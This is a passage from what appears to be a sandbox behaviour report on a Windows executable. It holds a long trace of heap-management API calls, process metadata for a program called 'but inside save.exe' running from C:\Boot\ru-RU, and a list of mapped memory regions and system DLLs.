MemoryPointer=0x2c5c20) returned 0x20 [0145.881] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5c20 | out: hHeap=0x2b0000) returned 1 [0145.881] GetProcessHeap () returned 0x2b0000 [0145.881] GetProcessHeap () returned 0x2b0000 [0145.881] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc250) returned 1 [0145.881] GetProcessHeap () returned 0x2b0000 [0145.881] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cc250) returned 0x14 [0145.881] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc250 | out: hHeap=0x2b0000) returned 1 [0145.881] GetProcessHeap () returned 0x2b0000 [0145.882] GetProcessHeap () returned 0x2b0000 [0145.882] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc230) returned 1 [0145.882] GetProcessHeap () returned 0x2b0000 [0145.882] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cc230) returned 0x18 [0145.882] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc230 | out: hHeap=0x2b0000) returned 1 [0145.882] GetProcessHeap () returned 0x2b0000 [0145.882] GetProcessHeap () returned 0x2b0000 [0145.882] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5b60) returned 1 [0145.882] GetProcessHeap () returned 0x2b0000 [0145.882] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c5b60) returned 0x20 [0145.883] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5b60 | out: hHeap=0x2b0000) returned 1 [0145.883] GetProcessHeap () returned 0x2b0000 [0145.883] GetProcessHeap () returned 0x2b0000 [0145.883] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc270) returned 1 [0145.883] GetProcessHeap () returned 0x2b0000 [0145.883] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cc270) returned 0x16 [0145.883] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc270 | out: hHeap=0x2b0000) returned 1 [0145.883] GetProcessHeap () returned 0x2b0000 [0145.883] GetProcessHeap () returned 0x2b0000 [0145.883] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc1f0) returned 1 [0145.883] GetProcessHeap () returned 0x2b0000 [0145.883] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cc1f0) returned 0x18 [0145.883] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc1f0 | out: hHeap=0x2b0000) returned 1 [0145.883] GetProcessHeap () returned 0x2b0000 [0145.883] GetProcessHeap () returned 0x2b0000 [0145.883] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5b30) returned 1 [0145.883] GetProcessHeap () returned 0x2b0000 [0145.884] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c5b30) returned 0x20 [0145.884] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5b30 | out: hHeap=0x2b0000) returned 1 [0145.884] GetProcessHeap () returned 0x2b0000 [0145.884] GetProcessHeap () returned 0x2b0000 [0145.884] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cba20) returned 1 [0145.884] GetProcessHeap () returned 0x2b0000 [0145.884] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cba20) returned 0x2 [0145.884] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cba20 | out: hHeap=0x2b0000) returned 1 [0145.884] GetProcessHeap () returned 0x2b0000 [0145.884] GetProcessHeap () returned 0x2b0000 [0145.884] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5980) returned 1 [0145.884] GetProcessHeap () returned 0x2b0000 [0145.884] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c5980) returned 0x20 [0145.885] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5980 | out: hHeap=0x2b0000) returned 1 [0145.885] GetProcessHeap () returned 0x2b0000 [0145.885] GetProcessHeap () returned 0x2b0000 [0145.885] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c59b0) returned 1 [0145.885] GetProcessHeap () returned 0x2b0000 [0145.885] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c59b0) returned 0x20 [0145.885] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c59b0 | out: hHeap=0x2b0000) returned 1 [0145.885] GetProcessHeap () returned 0x2b0000 [0145.885] GetProcessHeap () returned 0x2b0000 [0145.885] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c59e0) returned 1 [0145.885] GetProcessHeap () returned 0x2b0000 [0145.885] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c59e0) returned 0x20 [0145.886] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c59e0 | out: hHeap=0x2b0000) returned 1 [0145.886] GetProcessHeap () returned 0x2b0000 [0145.886] GetProcessHeap () returned 0x2b0000 [0145.886] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5a10) returned 1 [0145.886] GetProcessHeap () returned 0x2b0000 [0145.886] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c5a10) returned 0x20 [0145.886] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5a10 | out: hHeap=0x2b0000) returned 1 [0145.886] GetProcessHeap () returned 0x2b0000 [0145.886] GetProcessHeap () returned 0x2b0000 [0145.886] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccb90) returned 1 [0145.886] GetProcessHeap () returned 0x2b0000 [0145.886] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2ccb90) returned 0x20 [0145.886] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccb90 | out: hHeap=0x2b0000) returned 1 [0145.886] GetProcessHeap () returned 0x2b0000 [0145.886] GetProcessHeap () returned 0x2b0000 [0145.886] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd650) returned 1 [0145.887] GetProcessHeap () returned 0x2b0000 [0145.887] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cd650) returned 0xe [0145.887] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd650 | out: hHeap=0x2b0000) returned 1 [0145.887] GetProcessHeap () returned 0x2b0000 [0145.887] GetProcessHeap () returned 0x2b0000 [0145.887] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccbc0) returned 1 [0145.887] GetProcessHeap () returned 0x2b0000 [0145.887] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2ccbc0) returned 0x20 [0145.887] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccbc0 | out: hHeap=0x2b0000) returned 1 [0145.887] GetProcessHeap () returned 0x2b0000 [0145.887] GetProcessHeap () returned 0x2b0000 [0145.887] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c7aa0) returned 1 [0145.887] GetProcessHeap () returned 0x2b0000 [0145.887] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c7aa0) returned 0x30 [0145.888] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c7aa0 | out: hHeap=0x2b0000) returned 1 [0145.888] GetProcessHeap () returned 0x2b0000 [0145.888] GetProcessHeap () returned 0x2b0000 [0145.888] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccbf0) returned 1 [0145.888] GetProcessHeap () returned 0x2b0000 [0145.888] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2ccbf0) returned 0x20 [0145.888] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccbf0 | out: hHeap=0x2b0000) returned 1 [0145.888] GetProcessHeap () returned 0x2b0000 [0145.888] GetProcessHeap () returned 0x2b0000 [0145.888] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c7ae0) returned 1 [0145.888] GetProcessHeap () returned 0x2b0000 [0145.888] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c7ae0) returned 0x30 [0145.889] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c7ae0 | out: hHeap=0x2b0000) returned 1 [0145.889] GetProcessHeap () returned 0x2b0000 [0145.889] GetProcessHeap () returned 0x2b0000 [0145.889] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccda0) returned 1 [0145.889] GetProcessHeap () returned 0x2b0000 [0145.889] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2ccda0) returned 0x20 [0145.889] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccda0 | out: hHeap=0x2b0000) returned 1 [0145.889] GetProcessHeap () returned 0x2b0000 [0145.889] GetProcessHeap () returned 0x2b0000 [0145.889] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd570) returned 1 [0145.889] GetProcessHeap () returned 0x2b0000 [0145.889] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cd570) returned 0xe [0145.889] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd570 | out: hHeap=0x2b0000) returned 1 [0145.889] GetProcessHeap () returned 0x2b0000 [0145.889] GetProcessHeap () returned 0x2b0000 [0145.890] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccd70) returned 1 [0145.890] GetProcessHeap () returned 0x2b0000 [0145.890] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2ccd70) returned 0x20 [0145.893] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccd70 | out: hHeap=0x2b0000) returned 1 [0145.896] GetProcessHeap () returned 0x2b0000 [0145.896] GetProcessHeap () returned 0x2b0000 [0145.896] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd590) returned 1 [0145.896] GetProcessHeap () returned 0x2b0000 [0145.896] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cd590) returned 0x16 [0145.896] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd590 | out: hHeap=0x2b0000) returned 1 [0145.896] GetProcessHeap () returned 0x2b0000 [0145.896] GetProcessHeap () returned 0x2b0000 [0145.896] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccd40) returned 1 [0145.896] GetProcessHeap () returned 0x2b0000 [0145.896] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2ccd40) returned 0x20 [0145.897] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccd40 | out: hHeap=0x2b0000) returned 1 [0145.897] GetProcessHeap () returned 0x2b0000 [0145.897] GetProcessHeap () returned 0x2b0000 [0145.897] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd5b0) returned 1 [0145.897] GetProcessHeap () returned 0x2b0000 [0145.897] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cd5b0) returned 0x16 [0145.897] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd5b0 | out: hHeap=0x2b0000) returned 1 [0145.897] GetProcessHeap () returned 0x2b0000 [0145.897] GetProcessHeap () returned 0x2b0000 [0145.897] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccd10) returned 1 [0145.897] GetProcessHeap () returned 0x2b0000 [0145.897] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2ccd10) returned 0x20 [0145.897] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccd10 | out: hHeap=0x2b0000) returned 1 [0145.897] GetProcessHeap () returned 0x2b0000 [0145.897] GetProcessHeap () returned 0x2b0000 [0145.897] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2e9c60) returned 1 [0145.897] GetProcessHeap () returned 0x2b0000 [0145.897] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2e9c60) returned 0x82 [0145.898] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2e9c60 | out: hHeap=0x2b0000) returned 1 [0145.898] GetProcessHeap () returned 0x2b0000 [0145.898] GetProcessHeap () returned 0x2b0000 [0145.898] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccce0) returned 1 [0145.898] GetProcessHeap () returned 0x2b0000 [0145.898] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2ccce0) returned 0x20 [0145.898] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccce0 | out: hHeap=0x2b0000) returned 1 [0145.898] GetProcessHeap () returned 0x2b0000 [0145.898] GetProcessHeap () returned 0x2b0000 [0145.898] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd5f0) returned 1 [0145.898] GetProcessHeap () returned 0x2b0000 [0145.898] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cd5f0) returned 0xe [0145.898] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd5f0 | out: hHeap=0x2b0000) returned 1 [0145.898] GetProcessHeap () returned 0x2b0000 [0145.898] GetProcessHeap () returned 0x2b0000 [0145.898] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cccb0) returned 1 [0145.898] GetProcessHeap () returned 0x2b0000 [0145.898] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cccb0) returned 0x20 [0145.899] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cccb0 | out: hHeap=0x2b0000) returned 1 [0145.899] GetProcessHeap () returned 0x2b0000 [0145.899] GetProcessHeap () returned 0x2b0000 [0145.899] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd610) returned 1 [0145.899] GetProcessHeap () returned 0x2b0000 [0145.953] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cd610) returned 0xa [0145.953] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd610 | out: hHeap=0x2b0000) returned 1 [0145.953] GetProcessHeap () returned 0x2b0000 [0145.953] GetProcessHeap () returned 0x2b0000 [0145.953] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccc80) returned 1 [0145.953] GetProcessHeap () returned 0x2b0000 [0145.953] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2ccc80) returned 0x20 [0145.953] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccc80 | out: hHeap=0x2b0000) returned 1 [0145.953] GetProcessHeap () returned 0x2b0000 [0145.953] GetProcessHeap () returned 0x2b0000 [0145.953] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd630) returned 1 [0145.954] GetProcessHeap () returned 0x2b0000 [0145.954] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cd630) returned 0xc [0145.954] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd630 | out: hHeap=0x2b0000) returned 1 [0145.954] GetProcessHeap () returned 0x2b0000 [0145.954] GetProcessHeap () returned 0x2b0000 [0145.954] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccc50) returned 1 [0145.954] GetProcessHeap () returned 0x2b0000 [0145.954] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2ccc50) returned 0x20 [0145.954] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccc50 | out: hHeap=0x2b0000) returned 1 [0145.954] GetProcessHeap () returned 0x2b0000 [0145.954] GetProcessHeap () returned 0x2b0000 [0145.954] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cba40) returned 1 [0145.954] GetProcessHeap () returned 0x2b0000 [0145.954] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cba40) returned 0x18 [0145.954] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cba40 | out: hHeap=0x2b0000) returned 1 [0145.954] GetProcessHeap () returned 0x2b0000 [0145.954] GetProcessHeap () returned 0x2b0000 [0145.954] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5a40) returned 1 [0145.954] GetProcessHeap () returned 0x2b0000 [0145.954] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c5a40) returned 0x20 [0145.955] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5a40 | out: hHeap=0x2b0000) returned 1 [0145.955] GetProcessHeap () returned 0x2b0000 [0145.955] GetProcessHeap () returned 0x2b0000 [0145.955] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5a70) returned 1 [0145.955] GetProcessHeap () returned 0x2b0000 [0145.955] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c5a70) returned 0x20 [0145.955] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5a70 | out: hHeap=0x2b0000) returned 1 [0145.955] GetProcessHeap () returned 0x2b0000 [0145.955] GetProcessHeap () returned 0x2b0000 [0145.955] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5aa0) returned 1 [0145.955] GetProcessHeap () returned 0x2b0000 [0145.955] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c5aa0) returned 0x20 [0145.956] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5aa0 | out: hHeap=0x2b0000) returned 1 [0145.956] GetProcessHeap () returned 0x2b0000 [0145.956] GetProcessHeap () returned 0x2b0000 [0145.956] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5ad0) returned 1 [0145.956] GetProcessHeap () returned 0x2b0000 [0145.956] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c5ad0) returned 0x20 [0145.956] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5ad0 | out: hHeap=0x2b0000) returned 1 [0145.956] GetProcessHeap () returned 0x2b0000 [0145.956] GetProcessHeap () returned 0x2b0000 [0145.956] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cba60) returned 1 [0145.956] GetProcessHeap () returned 0x2b0000 [0145.956] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cba60) returned 0x18 [0145.957] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cba60 | out: hHeap=0x2b0000) returned 1 [0145.957] GetProcessHeap () returned 0x2b0000 [0145.957] GetProcessHeap () returned 0x2b0000 [0145.957] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5b00) returned 1 [0145.957] GetProcessHeap () returned 0x2b0000 [0145.957] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c5b00) returned 0x20 [0145.957] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5b00 | out: hHeap=0x2b0000) returned 1 [0145.957] GetProcessHeap () returned 0x2b0000 [0145.957] GetProcessHeap () returned 0x2b0000 [0145.957] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5b90) returned 1 [0145.957] GetProcessHeap () returned 0x2b0000 [0145.957] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c5b90) returned 0x20 [0145.958] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5b90 | out: hHeap=0x2b0000) returned 1 [0145.958] GetProcessHeap () returned 0x2b0000 [0145.958] GetProcessHeap () returned 0x2b0000 [0145.958] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5bf0) returned 1 [0145.958] GetProcessHeap () returned 0x2b0000 [0145.958] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c5bf0) returned 0x20 [0145.958] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5bf0 | out: hHeap=0x2b0000) returned 1 [0145.958] GetProcessHeap () returned 0x2b0000 [0145.958] GetProcessHeap () returned 0x2b0000 [0145.958] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5c50) returned 1 [0145.958] GetProcessHeap () returned 0x2b0000 [0145.958] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c5c50) returned 0x20 [0145.959] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5c50 | out: hHeap=0x2b0000) returned 1 [0145.959] GetProcessHeap () returned 0x2b0000 [0145.959] GetProcessHeap () returned 0x2b0000 [0145.959] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5c80) returned 1 [0145.959] GetProcessHeap () returned 0x2b0000 [0145.959] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c5c80) returned 0x20 [0145.959] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5c80 | out: hHeap=0x2b0000) returned 1 [0145.959] GetProcessHeap () returned 0x2b0000 [0145.959] GetProcessHeap () returned 0x2b0000 [0145.959] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cba80) returned 1 [0145.959] GetProcessHeap () returned 0x2b0000 [0145.959] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cba80) returned 0x18 [0145.959] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cba80 | out: hHeap=0x2b0000) returned 1 [0145.959] GetProcessHeap () returned 0x2b0000 [0145.959] GetProcessHeap () returned 0x2b0000 [0145.959] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5bc0) returned 1 [0145.959] GetProcessHeap () returned 0x2b0000 [0145.959] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c5bc0) returned 0x20 [0145.960] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5bc0 | out: hHeap=0x2b0000) returned 1 [0145.960] GetProcessHeap () returned 0x2b0000 [0145.960] GetProcessHeap () returned 0x2b0000 [0145.960] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cba00) returned 1 [0145.960] GetProcessHeap () returned 0x2b0000 [0145.960] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cba00) returned 0x18 [0145.960] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cba00 | out: hHeap=0x2b0000) returned 1 [0145.960] exit (_Code=0) Thread: id = 159 os_tid = 0xc08 Process: id = "36" image_name = "but inside save.exe" filename = "c:\\boot\\ru-ru\\but inside save.exe" page_root = "0x41119000" os_pid = "0x58c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "25" os_parent_pid = "0xf78" cmd_line = "\"C:\\Boot\\ru-RU\\but inside save.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3736 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3737 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3738 start_va = 0x120000 end_va = 0x21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 3739 start_va = 0xbc0000 end_va = 0xc95fff monitored = 1 entry_point = 0xc8d67e region_type = mapped_file name = "but inside save.exe" filename = "\\Boot\\ru-RU\\but inside save.exe" (normalized: "c:\\boot\\ru-ru\\but inside save.exe") Region: id = 3740 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3741 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3742 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3743 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3744 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3745 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 3746 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 4231 start_va = 0x40000 end_va = 0xcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000040000" filename = "" Region: id = 4232 start_va = 0x7fef9de0000 end_va = 0x7fef9e4efff monitored = 1 entry_point = 0x7fef9de1134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 4233 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4234 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4235 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4236 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4237 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4238 start_va = 0x20000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4239 start_va = 0x220000 end_va = 0x286fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4240 start_va = 0x290000 end_va = 0x38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 4796 start_va = 0x390000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4797 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4798 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4799 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4800 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = 